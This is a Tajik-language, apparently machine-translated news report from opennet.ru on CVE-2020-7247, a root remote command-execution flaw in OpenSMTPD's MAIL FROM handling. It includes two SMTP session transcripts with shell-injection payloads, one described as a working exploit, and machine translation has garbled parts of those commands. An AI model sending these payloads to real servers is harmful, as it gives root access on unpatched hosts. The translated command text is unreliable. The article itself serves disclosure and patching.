Осебпазирӣ дар OpenSMTPD, ки имкон медиҳад рамзи дурдаст ҳамчун реша иҷро карда шавад

Дар сервери почта, ки аз ҷониби лоиҳаи OpenBSD таҳия шудааст OpenSMTPD муайян карда шуд осебпазирии интиқодӣ (CVE-2020-7247), ки ба шумо имкон медиҳад, ки фармонҳои ҷилдиро дар сервер бо ҳуқуқи корбари реша фосилавӣ иҷро кунед. Ин осебпазирӣ ҳангоми аудити такрорӣ, ки аз ҷониби Qualys Security гузаронида шудааст (аудити қаблии OpenSMTPD) муайян карда шуд. баргузор гардид дар соли 2015 ва осебпазирии нав аз моҳи майи соли 2018 вуҷуд дорад). Мушкилот бартараф карда шуд дар нашри OpenSMTPD 6.6.2. Ба ҳама корбарон тавсия дода мешавад, ки навсозиро фавран насб кунанд (барои OpenBSD, часпакро тавассути syspatch насб кардан мумкин аст).

Ду намуди ҳамла пешниҳод шудааст. Варианти аввал дар конфигуратсияи пешфарзи OpenSMTPD кор мекунад (қабул кардани дархостҳо танҳо аз localhost) ва ба шумо имкон медиҳад, ки мушкилотро ба таври маҳаллӣ истифода баред, вақте ки ҳамлакунанда қодир аст ба интерфейси шабакаи маҳаллӣ (бозгашт) дар сервер (масалан, дар системаҳои хостинг) дастрасӣ пайдо кунад. . Варианти дуюм вақте пайдо мешавад, ки OpenSMTPD барои қабули дархостҳои шабакаи беруна танзим карда мешавад (сервери почта, ки паёмҳои тарафи сеюмро қабул мекунад). Тадқиқотчиён як эксплоити прототиперо омода кардаанд, ки ҳам бо варианти OpenSMTPD аз OpenBSD 6.6 ва ҳам бо версияи сайёр барои дигар системаҳои оператсионӣ (дар Debian Testing гузаронида шудааст) бомуваффақият кор мекунад.

Мушкилот дар натиҷаи хатогӣ дар функсияи smtp_mailaddr () ба вуҷуд омадааст, ки барои тафтиши дурустии арзишҳо дар майдонҳои "MAIL FROM" ва "RCPT TO", ки ирсолкунанда/қабулкунандаро муайян мекунанд ва ҳангоми пайвастшавӣ интиқол дода мешаванд. ба сервери почта. Функсияи smtp_mailaddr() дар smtp_mailaddr() даъват карда мешавад, то қисми суроғаи почтаро, ки пеш аз аломати "@" меояд, тафтиш кунад.
valid_localpart(), ки аломатҳои "!#$%&'*/?^`{|}~+-=_"-ро ҳамчун иҷозат (MAILADDR_ALLOWED) мешуморад, тавре ки RFC 5322 талаб мекунад.

Дар ин ҳолат, сатр мустақиман дар функсияи mda_expand_token() раҳо мешавад, ки танҳо аломатҳои "!#$%&'*?`{|}~" (MAILADDR_ESCAPE) иваз мекунад. Ғайр аз он, сатри дар mda_expand_token() омодашуда ҳангоми занг задан ба агенти таҳвил (MDA) бо истифода аз фармони "execle("/bin/sh", "/bin/sh", "-c", mda_command,…' истифода мешавад. ба mbox тавассути /bin/sh, хати "/usr/libexec/mail.local -f %%{mbox.from} %%{user.username}" иҷро мешавад, ки дар он арзиши "%{mbox.from}" маълумоти фироршуда аз параметри "MAIL FROM" -ро дар бар мегирад.

Моҳияти осебпазирӣ дар он аст, ки smtp_mailaddr() хатои мантиқӣ дорад, ки ба сабаби он, агар домени холӣ ба почтаи электронӣ интиқол дода шавад, функсия рамзи бомуваффақияти тасдиқро бармегардонад, ҳатто агар қисми суроғаи пеш аз "@" аломатҳои нодуруст дошта бошад. Ғайр аз он, ҳангоми тайёр кардани сатр бо функсияи mda_expand_token() на ҳама аломатҳои махсуси ҷабҳаи имконпазир раҳо мешаванд, балки танҳо аломатҳои махсус дар суроғаи почта иҷозат дода мешаванд. Ҳамин тариқ, барои иҷро кардани фармони худ, дар қисми маҳаллии почтаи электронӣ истифода бурдани аломати ";" кифоя аст. ва фазо, ки дар маҷмӯи MAILADDR_ESCAPE нестанд ва раҳо намешаванд. Барои намуна:

$NC 127.0.0.1 25

Салом профессор.falken
ПОЧТА АЗ:<;sleep 66;>
RCPT БА:
МАЪЛУМОТ
.
баромадан

Пас аз ин сессия, OpenSMTPD, вақте ки ба mbox интиқол дода мешавад, фармонро тавассути shell иҷро мекунад

/usr/libexec/mail.local -f ;sleep 66; реша

Дар баробари ин, имконияти ҳамла бо он маҳдуд аст, ки қисми маҳаллии суроға набояд аз 64 аломат зиёд бошад ва аломатҳои махсуси '$' ва '|' ҳангоми гурехтан бо ":" иваз карда мешаванд. Барои бартараф кардани ин маҳдудият, далели он, ки матни паём пас аз иҷро кардани /usr/libexec/mail.local тавассути ҷараёни вуруд интиқол дода мешавад, яъне. тавассути коркард бо суроға, шумо метавонед танҳо тарҷумаи фармони sh -ро оғоз кунед ва матни ҳарфро ҳамчун маҷмӯи дастурҳо истифода баред. Азбаски сарлавҳаҳои хидматрасонии SMTP дар аввали ҳарф нишон дода шудаанд, тавсия дода мешавад, ки занги фармони хонданро дар як давр истифода бурда, онҳоро гузаред. Истисмори корӣ чунин ба назар мерасад:

$NC 192.168.56.143 25

Салом профессор.falken
ПОЧТА АЗ:<;барои i дар 0 1 2 3 4 5 6 7 8 9 abcd;ро хонед; анҷом;sh; баромадан 0;>
RCPT БА:[почтаи электронӣ ҳифз карда шудааст]>
МАЪЛУМОТ
#0
#1
...
#d
барои ман дар WOPR; кунад
echo -n "($i) " && id || танаффус
анҷом дода шуд > /root/x."`id -u`"."$$"
.
баромадан

Манбаъ: opennet.ru

Илова Эзоҳ